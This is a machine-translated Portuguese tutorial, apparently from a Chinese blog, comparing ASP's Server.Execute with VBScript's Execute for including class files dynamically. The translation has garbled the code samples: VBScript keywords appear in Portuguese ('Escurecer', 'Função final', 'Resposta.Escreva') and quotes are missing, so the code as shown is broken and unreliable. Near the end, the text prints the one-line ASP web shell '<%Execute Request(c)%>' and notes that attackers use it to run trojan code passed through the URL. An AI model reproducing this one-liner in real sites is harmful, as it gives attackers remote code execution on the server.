A diferença entre Server.Execute e Execute em ASP para implementar scripts de inclusão dinâmica, amigos necessitados podem consultá-la. Recentemente planejei tentar implementar a arquitetura MVC em ASP. Alguém deve ter me perguntado: o ASP foi eliminado, por que ainda estou estudando? Eu também sei disso. Desde que a Microsoft abandonou o ASP 3.0 e mudou para o ASP.NET, o ASP ficou muito atrás do PHP e do JSP, que começaram quase ao mesmo tempo. Os benefícios do código aberto em relação ao código fechado são os mesmos do PHP e do ASP. Diz-se que o ASP foi eliminado. Ninguém pode salvá-lo de ser eliminado, mas é importante notar que o ASP ainda é bastante difundido no mercado chinês, especialmente para algumas aplicações de algumas pequenas e médias empresas. um problema e é fácil de implantar em alguns sistemas Windows antigos, não há necessidade de instalar o .NET. O framework pode basicamente ser executado diretamente, então ainda é necessário preparar um framework. Porém, meu framework é um framework experimental, apenas para verificar se o ASP pode implementar uma arquitetura MVC semelhante ao PHP.
Ok, tendo dito tanto, vamos direto ao ponto. A razão para esse problema é que preciso incluir arquivos ASP dinamicamente. Como todos sabemos, existe apenas um método de inclusão no ASP, que é SSI (Server Side Include), que é basicamente dividido nos dois tipos a seguir:
Copie o código do código da seguinte forma:
<!-- #include arquivo=sample.asp -->
<!-- #include virtual=sample.asp -->
Basicamente, o primeiro é mais comumente usado entre os dois. #include virtual contém o caminho virtual, que geralmente é usado em diretórios virtuais. Mas ambos são estáticos. Se quisermos incluí-lo dinamicamente, não pode ser escrito como:
Copie o código do código da seguinte forma:
<!-- #include file=<%=MinhaVar%> -->
<!-- #include virtual=<%=MinhaVar%> -->
A escrita acima está errada. Pode-se entender que a diretiva #include é executada antes do ASP iniciar o mecanismo de script e executar o script entre as tags ASP<% %>. Em outras palavras, #include não é trabalho do ASP. o programa do servidor, como o trabalho de tradução do IIS, não prestará atenção ao seu código ASP.
Como implementar métodos de script de inclusão dinâmica semelhantes aos do PHP include, include_once, require e require_once? Vejamos um método do objeto ASP Server: Server.Execute Pesquisando todos os recursos do ASP, podemos descobrir que esta função é mais semelhante à inclusão dinâmica.
Exemplo.inc.asp
Copie o código do código da seguinte forma:
<%
Resposta.Escreva Olá, mundo!
%>
teste.asp
Copie o código do código da seguinte forma:
<%
Servidor.Execute Sample.inc.asp
Response.Write Eu sou test.asp!
%>
A saída real deve ser Hello World!I am test.asp!, indicando que Server.Execute pode funcionar bem com inclusão dinâmica, mas e se eu quiser incluir uma classe ou função? Em seguida faça o seguinte experimento:
Exemplo.class.asp
Copie o código do código da seguinte forma:
<%
Amostra de aula
Fim da aula
%>
teste.asp
Copie o código do código da seguinte forma:
<%
Servidor.Execute Exemplo.class.asp
Response.Write TypeName(Eval(Nova amostra))
%>
Execute-o diretamente e o erro Microsoft VBScript runtime error '800a01fa' class não está definido: 'Sample', o resultado é muito decepcionante, por que isso acontece? Verifiquei o MSDN e encontrei esta descrição: Se um arquivo for incluído na página de chamada usando #include, o .asp executado não o utilizará. Por exemplo, você pode ter uma sub-rotina em um arquivo incluído na sua página de chamada. mas o .asp executado não reconhecerá o nome da sub-rotina. Parece ser um pouco diferente do problema que encontrei. O código Server.Execute está isolado? Em seguida, faça o seguinte experimento:
Exemplo.inc.asp
Copie o código do código da seguinte forma:
<%
Escurecer MinhaVar
MyVar = Eu sou Amostra!
%>
teste.asp
Copie o código do código da seguinte forma:
<%
Escurecer MinhaVar
MyVar = sou teste!
Servidor.Execute Sample.inc.asp
Resposta.Write MyVar
%>
O resultado é I am test!, o que é muito decepcionante! Parece que Server.Execute isola variáveis, funções, classes e outros códigos, o que significa que o final da chamada e o final chamado não interferem entre si no nível do código. Parece que o Server.Execute só pode ser usado para incluir. modelos asp.
A seguir está o recurso de script VBScript Executar. O que é passado para Executar deve ser um código de script VBScript válido e Executar é sensível ao contexto. Isso parece estar muito próximo da inclusão dinâmica de que precisamos.
teste.asp
Copie o código do código da seguinte forma:
<%
Amostra de Classe de Execução: Fim da Classe
Response.Write TypeName(Eval(Nova amostra))
%>
O código acima gera com sucesso o nome do tipo Sample que precisamos. Isso prova que Execute pode realmente ser sensível ao contexto, mas o problema é que usar Execute para incluir arquivos asp não é tão conveniente quanto Server.Execute vem com scripts VBScript. Em primeiro lugar, ele só pode ser usado para executar texto de código. , portanto, o conteúdo do arquivo precisa ser lido uma vez. Em segundo lugar, algumas tags usadas para identificar ASP, como <% %>, existem um método de chamada semelhante a <%=MyVar %>, então você precisa filtrar <. % %> e, em seguida, converta <%=MyVar %> em Response.Write MinhaVar. Como o que preciso é incluir arquivos de classe, <%=MyVar %> não aparecerá, basta substituir <% %>. Para ler o conteúdo do arquivo e simplesmente excluir <% %>, você pode consultar a seguinte função:
Copie o código do código da seguinte forma:
Função file_get_contents(nome do arquivo)
Dim fso, f
Definir fso = Server.CreateObject(Scripting.FilesystemObject)
Definir f = fso.OpenTextFile(Server.MapPath(nome do arquivo), 1)
arquivo_get_contents = f.ReadAll
f.Fechar
Definir f = Nada
Definir fso = Nada
Função final
Função class_get_contents(nome do arquivo)
Escurecer conteúdo
conteúdo = arquivo_get_contents(nome do arquivo)
conteúdo = Substituir(conteúdo, < & %, )
conteúdo = Substituir(conteúdo,% & >, )
class_get_contents = conteúdo
Função final
Com a função acima podemos testar diretamente o seguinte código:
Exemplo.class.asp
Copie o código do código da seguinte forma:
<%
Amostra de aula
Fim da aula
%>
teste.asp
Copie o código do código da seguinte forma:
<%
Execute class_get_contents(Sample.class.asp)
Response.Write TypeName(Eval(Nova amostra))
%>
A saída do resultado é o nome do tipo de amostra que esperávamos. Parece que Execute ainda é muito poderoso. É realmente muito poderoso, porque pessoas mal intencionadas costumam usá-lo para fazer pôneis. seguinte frase:
Copie o código da seguinte forma: <%Execute Request(c)%>
Por exemplo, esse script está localizado em file.asp, e depois passa file.asp?c=Trojan text, haha, você já sabe o seguinte. Ok, isso é uma digressão. Outra coisa a observar sobre Execute é que ele está relacionado ao contexto, então preste atenção ao problema de escopo. Se Execute estiver localizado dentro de um Subprocesso ou função Function, ele será inacessível de fora.